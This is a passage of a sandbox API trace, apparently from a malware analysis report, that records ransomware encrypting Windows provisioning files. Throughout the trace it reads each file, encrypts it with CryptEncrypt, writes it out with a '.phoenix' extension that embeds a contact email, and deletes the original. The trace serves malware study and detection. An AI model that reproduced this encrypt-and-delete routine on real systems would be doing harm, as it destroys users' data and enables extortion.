	[0237.431] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.432] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.432] CloseHandle (hObject=0x2f0) returned 1
	[0237.432] CloseHandle (hObject=0x2c0) returned 1
	[0237.432] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml")) returned 1
	[0237.433] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.433] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=730) returned 1
	[0237.433] CloseHandle (hObject=0x2c0) returned 1
	[0237.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.434] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.434] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.434] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0237.434] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.434] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2da, lpOverlapped=0x0) returned 1
	[0237.499] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.499] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.500] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0237.500] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.500] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0237.500] CryptDestroyKey (hKey=0x151280) returned 1
	[0237.500] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0237.500] CryptDestroyKey (hKey=0x151140) returned 1
	[0237.500] CloseHandle (hObject=0x2c0) returned 1
	[0237.500] CloseHandle (hObject=0x2f0) returned 1
	[0237.500] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.501] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.501] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.502] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=735) returned 1
	[0237.502] CloseHandle (hObject=0x2f0) returned 1
	[0237.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.502] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.502] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.502] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0237.502] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.502] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2df, lpOverlapped=0x0) returned 1
	[0237.534] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.534] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0237.535] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.535] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0237.535] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.535] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0237.535] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0237.535] CloseHandle (hObject=0x2f0) returned 1
	[0237.535] CloseHandle (hObject=0x2c0) returned 1
	[0237.536] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.537] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.537] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=703) returned 1
	[0237.537] CloseHandle (hObject=0x2c0) returned 1
	[0237.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.537] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.537] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.537] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.538] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0237.538] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.538] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bf, lpOverlapped=0x0) returned 1
	[0237.576] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0237.576] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0237.577] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0237.577] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.577] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.577] CryptDestroyKey (hKey=0x151740) returned 1
	[0237.577] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.577] CryptDestroyKey (hKey=0x151700) returned 1
	[0237.577] CloseHandle (hObject=0x2c0) returned 1
	[0237.577] CloseHandle (hObject=0x2f0) returned 1
	[0237.578] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.579] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.579] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.579] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=654) returned 1
	[0237.579] CloseHandle (hObject=0x2f0) returned 1
	[0237.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.579] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.579] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.579] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.580] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.580] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0237.580] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.580] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28e, lpOverlapped=0x0) returned 1
	[0237.659] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0237.659] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0237.660] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0237.660] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.660] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.660] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0237.660] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.660] CryptDestroyKey (hKey=0x151080) returned 1
	[0237.660] CloseHandle (hObject=0x2f0) returned 1
	[0237.660] CloseHandle (hObject=0x2c0) returned 1
	[0237.661] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.663] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.663] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=651) returned 1
	[0237.663] CloseHandle (hObject=0x2c0) returned 1
	[0237.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20
